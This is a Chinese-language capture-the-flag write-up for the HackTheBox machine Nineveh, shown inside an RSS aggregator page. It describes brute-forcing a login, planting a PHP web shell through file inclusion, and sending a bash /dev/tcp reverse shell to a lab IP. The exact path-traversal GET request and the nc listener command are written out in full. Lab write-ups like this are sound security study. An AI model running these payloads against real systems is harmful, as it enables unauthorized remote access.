惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

J
Java Code Geeks
博客园 - 聂微东
人人都是产品经理
人人都是产品经理
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
博客园_首页
量子位
阮一峰的网络日志
阮一峰的网络日志
酷 壳 – CoolShell
酷 壳 – CoolShell
H
Hackread – Cybersecurity News, Data Breaches, AI and More
云风的 BLOG
云风的 BLOG
D
DataBreaches.Net
B
Blog
L
LangChain Blog
Apple Machine Learning Research
Apple Machine Learning Research
Vercel News
Vercel News
博客园 - 三生石上(FineUI控件)
爱范儿
爱范儿
Microsoft Azure Blog
Microsoft Azure Blog
IT之家
IT之家
aimingoo的专栏
aimingoo的专栏
B
Blog RSS Feed
H
Help Net Security
The Cloudflare Blog
U
Unit 42

ABB00717

SecList Knock Pivoting and Tunneling Broken Authentication File Inclusion Login Brute Forcing Web Fuzzing HTB - SpeedNet PHP Filter to RCE Redis HTB - Pollution HTB - Pollution 工具 常見服務 HTB - BroScience HTB - BroScience 如何把爛爛的 shell 升級成好用的 TTY 滲透筆記 HTB - Imagery HTB - Imagery HTB - Reset HTB - Reset HTB - Trick HTB - Trick HTB - Editorial HTB - Editorial 150. Evaluate Reverse Polish Notation droopescan 安裝找不到 module imp 解決「桌面背景被當成一個視窗不斷重新彈出並覆蓋其他視窗」的問題 桌面不斷彈出覆蓋其他視窗
Reverse Shell
2026-09-19 · via ABB00717

Nineveh

Nineveh 這台靶機中,我們利用 Hydra 爆破了 https://nineveh.htb/db 的登入頁面,在裡面我們可以任意修改資料庫:

資料庫被存在 /var/tmp/,恰好在另外一個網頁 http://nineveh.htb/department/ 找到了 File Inclusion, 通常會直接用簡單的

<?php system($_GET['cmd']); ?>

配合簡單的 Reverse Shell:

bash -c 'sh -i >& /dev/tcp/10.10.17.56/6061 0>&1'

PHP 的 system() 會利用 /bin/sh -c 執行指令,而 /dev/tcp/host/port 是 Bash 自己的語法糖,所以 Dash 並不支援,所以必須額外呼叫 Bash 才能順利執行。

就變得很像:

dash -c "bash -c 'sh -i >& /dev/tcp/10.10.17.56/6061 0>&1'"

組合拳打下來長這個樣子:

GET /department/manage.php?cmd=bash+-c+%27sh+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.17.56%2F6061+0%3E%261%27&notes=files/ninevehNotes/../../../../../../var/tmp/test HTTP/1.1

在本地 nc -lvnp 6061 就會噴 shell 了。